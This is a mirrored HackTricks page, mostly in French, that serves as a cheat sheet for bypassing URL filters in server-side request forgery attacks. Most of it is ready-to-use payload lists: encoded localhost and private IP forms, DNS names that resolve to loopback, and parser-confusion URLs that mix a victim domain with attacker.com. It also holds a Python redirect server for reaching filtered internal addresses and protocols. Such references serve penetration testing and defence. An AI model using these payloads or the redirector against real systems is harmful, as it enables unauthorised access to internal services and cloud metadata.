Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-27 07:01:09 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/pentesting-web/ssrf-server-side-request-forgery/url-format-bypass.md

12 KiB
Raw Blame History

Contournement du format d'URL

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Localhost

# Localhost
http://127.0.0.1:80
http://127.0.0.1:443
http://127.0.0.1:22
http://127.1:80
http://127.000000000000000.1
http://0
http:@0/ --> http://localhost/
http://0.0.0.0:80
http://localhost:80
http://[::]:80/
http://[::]:25/ SMTP
http://[::]:3128/ Squid
http://[0000::1]:80/
http://[0:0:0:0:0:ffff:127.0.0.1]/thefile
http://①②⑦.⓪.⓪.⓪

# CDIR bypass
http://127.127.127.127
http://127.0.1.3
http://127.0.0.0

# Dot bypass
127。0。0。1
127%E3%80%820%E3%80%820%E3%80%821

# Decimal bypass
http://2130706433/ = http://127.0.0.1
http://3232235521/ = http://192.168.0.1
http://3232235777/ = http://192.168.1.1

# Octal Bypass
http://0177.0000.0000.0001
http://00000177.00000000.00000000.00000001
http://017700000001

# Hexadecimal bypass
127.0.0.1 = 0x7f 00 00 01
http://0x7f000001/ = http://127.0.0.1
http://0xc0a80014/ = http://192.168.0.20
0x7f.0x00.0x00.0x01
0x0000007f.0x00000000.0x00000000.0x00000001

# Add 0s bypass
127.000000000000.1

# You can also mix different encoding formats
# https://www.silisoftware.com/tools/ipconverter.php

# Malformed and rare
localhost:+11211aaa
localhost:00011211aaaa
http://0/
http://127.1
http://127.0.1

# DNS to localhost
localtest.me = 127.0.0.1
customer1.app.localhost.my.company.127.0.0.1.nip.io = 127.0.0.1
mail.ebc.apple.com = 127.0.0.6 (localhost)
127.0.0.1.nip.io = 127.0.0.1 (Resolves to the given IP)
www.example.com.customlookup.www.google.com.endcustom.sentinel.pentesting.us = Resolves to www.google.com
http://customer1.app.localhost.my.company.127.0.0.1.nip.io
http://bugbounty.dod.network = 127.0.0.2 (localhost)
1ynrnhl.xip.io == 169.254.169.254
spoofed.burpcollaborator.net = 127.0.0.1

Le module d'extension Burp Burp-Encode-IP implémente des contournements de formatage IP.

Analyseur de domaine

https:attacker.com
https:/attacker.com
http:/\/\attacker.com
https:/\attacker.com
//attacker.com
\/\/attacker.com/
/\/attacker.com/
/attacker.com
%0D%0A/attacker.com
#attacker.com
#%20@attacker.com
@attacker.com
http://169.254.1698.254\@attacker.com
attacker%00.com
attacker%E3%80%82com
attacker。com
ⒶⓉⓉⒶⒸⓀⒺⓡ.Ⓒⓞⓜ

① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ ⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾
⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ ⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗
⒘ ⒙ ⒚ ⒛ ⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰
⒱ ⒲ ⒳ ⒴ ⒵ Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ
Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ
ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿

Confusion de domaine

Domain confusion is a technique used in server-side request forgery (SSRF) attacks to bypass URL-based filters. It takes advantage of the fact that some URL parsers may interpret certain characters differently, allowing an attacker to trick the application into making requests to unintended targets.

In a typical SSRF attack, an attacker can specify a URL in a vulnerable parameter, which the application will then fetch and return the response. However, if the application has implemented URL-based filters to restrict certain domains or IP addresses, the attacker's requests may be blocked.

To bypass these filters, the attacker can use domain confusion. This involves manipulating the URL in a way that the parser interprets it differently from how the application does. For example, the attacker can use different encodings or special characters that are interpreted differently by the URL parser.

Here are some common techniques used in domain confusion:

  1. Double URL encoding: The attacker can encode the URL multiple times using URL encoding (%xx) to confuse the parser. For example, http://example.com can be encoded as http%253A%252F%252Fexample.com.

  2. Mixed case encoding: The attacker can use a mix of uppercase and lowercase letters in the URL to confuse the parser. For example, http://example.com can be encoded as hTTp://eXamPle.com.

  3. Unicode encoding: The attacker can use Unicode characters to represent the URL. For example, http://example.com can be encoded as http://exаmple.com (note the Cyrillic "а" instead of the Latin "a").

By using these techniques, an attacker can bypass URL-based filters and make requests to unintended targets. It is important for developers to be aware of these techniques and implement proper input validation and sanitization to prevent SSRF attacks.

# Try also to change attacker.com for 127.0.0.1 to try to access localhost
# Try replacing https by http
# Try URL-encoded characters
https://{domain}@attacker.com
https://{domain}.attacker.com
https://{domain}%6D@attacker.com
https://attacker.com/{domain}
https://attacker.com/?d={domain}
https://attacker.com#{domain}
https://attacker.com@{domain}
https://attacker.com#@{domain}
https://attacker.com%23@{domain}
https://attacker.com%00{domain}
https://attacker.com%0A{domain}
https://attacker.com?{domain}
https://attacker.com///{domain}
https://attacker.com\{domain}/
https://attacker.com;https://{domain}
https://attacker.com\{domain}/
https://attacker.com\.{domain}
https://attacker.com/.{domain}
https://attacker.com\@@{domain}
https://attacker.com:\@@{domain}
https://attacker.com#\@{domain}
https://attacker.com\anything@{domain}/
https://www.victim.com(\u2044)some(\u2044)path(\u2044)(\u0294)some=param(\uff03)hash@attacker.com

# On each IP position try to put 1 attackers domain and the others the victim domain
http://1.1.1.1 &@2.2.2.2# @3.3.3.3/

#Parameter pollution
next={domain}&next=attacker.com

Contournement des chemins et extensions

Si vous devez vous assurer que l'URL se termine par un chemin ou une extension, ou qu'elle contient un chemin, vous pouvez essayer l'un des contournements suivants :

https://metadata/vulerable/path#/expected/path
https://metadata/vulerable/path#.extension
https://metadata/expected/path/..%2f..%2f/vulnerable/path

Fuzzing

L'outil recollapse peut générer des variations à partir d'une entrée donnée pour essayer de contourner l'expression régulière utilisée. Consultez cet article pour plus d'informations.

Contournement via redirection

Il est possible que le serveur filtre la requête d'origine d'une SSRF mais pas une éventuelle réponse de redirection à cette requête.
Par exemple, un serveur vulnérable à une SSRF via : url=https://www.google.com/ pourrait filtrer le paramètre url. Mais si vous utilisez un serveur python pour répondre avec un code 302 à l'endroit où vous souhaitez rediriger, vous pourriez être en mesure d'accéder à des adresses IP filtrées telles que 127.0.0.1 ou même à des protocoles filtrés comme gopher.
Consultez ce rapport.

#!/usr/bin/env python3

#python3 ./redirector.py 8000 http://127.0.0.1/

import sys
from http.server import HTTPServer, BaseHTTPRequestHandler

if len(sys.argv)-1 != 2:
print("Usage: {} <port_number> <url>".format(sys.argv[0]))
sys.exit()

class Redirect(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(302)
self.send_header('Location', sys.argv[2])
self.end_headers()

HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()

Astuces expliquées

Astuce du backslash

En bref, l'astuce du backslash repose sur l'exploitation d'une légère différence entre deux spécifications de "URL" : la norme WHATWG URL et RFC3986. RFC3986 est une spécification générique et polyvalente pour la syntaxe des Uniform Resource Identifiers (URI), tandis que la norme WHATWG URL est spécifiquement destinée au Web et aux URL (qui sont un sous-ensemble des URI). Les navigateurs modernes implémentent la norme WHATWG URL.

Toutes deux décrivent une façon d'analyser les URI/URL, avec une légère différence. La spécification WHATWG décrit un caractère supplémentaire, le \, qui se comporte comme / : il met fin au nom d'hôte et à l'autorité et débute le chemin de l'URL.

Les deux spécifications analysant la même URL différemment

Autres confusions

image de https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥